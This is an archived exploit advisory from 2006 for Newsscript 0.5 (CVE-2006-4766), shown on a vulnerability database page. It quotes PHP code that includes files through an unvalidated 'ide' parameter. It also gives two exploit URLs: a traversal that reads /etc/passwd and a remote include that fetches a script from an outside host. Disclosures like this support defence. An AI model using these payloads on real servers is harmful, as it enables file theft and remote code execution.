Lucene search
+L

Newsscript 0.5 - Local/Remote File Inclusion

🗓️ 13 Sep 2006 00:00:00Reported by Daftrix SecurityType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 36 Views

Vulnerability in Newsscript 0.5 allows local and remote file inclusion, posing a high risk.

Related
Code
ReporterTitlePublishedViews
Family
CVE
CVE-2006-4766
13 Sep 200623:00
cve
Cvelist
CVE-2006-4766
13 Sep 200623:00
cvelist
EUVD
EUVD-2006-4753
7 Oct 202500:30
euvd
NVD
CVE-2006-4766
13 Sep 200623:07
nvd
#  Product : Newsscript

#  Homepage : http://www.webmaster-journal.com

#  Version : 0.5

#  Date : 12-09-2006

#  Vulnerability : Remote & local File Inclusion

#  Risk : High

---------------------------------------------------------------------------------------------------------


#  Description :

Newsscript is a PHP script to manage news items on website without Database.


#  Vulnerable Code :

The first issue is due to an input validation error in the "print/print.php" script that does not validate the "ide" parameter, which could be exploited by remote attackers to include local files with the privileges of the web server.

1    <html>
2    <head>
3    <?
4 $file_name = "../".$ide.".txt";
5    ?>


27    include($file_name);


The second flaw is due to an input validation error in the "article.php" script that does not validate the "ide" parameter, which could be exploited by attackers to include remote or local files and execute arbitrary commands with privileges of the web server.

1 <?
2 include($ide.".txt");
3 ?>


#  Exploit :

http://localhost/newscript/print/print.php?ide=../../../../etc/passwd%00

http://localhost/newscript/article.php?ide=http://site.com/script.txt ?


#  Solution :

Update to a newer version


#  Discovered By:

Daftrix[at]Gmail.com
Daftrix Security Investigations
http://www.Daftrix.com

# milw0rm.com [2006-09-13]

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

13 Sep 2006 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 25
EPSS0.02943
36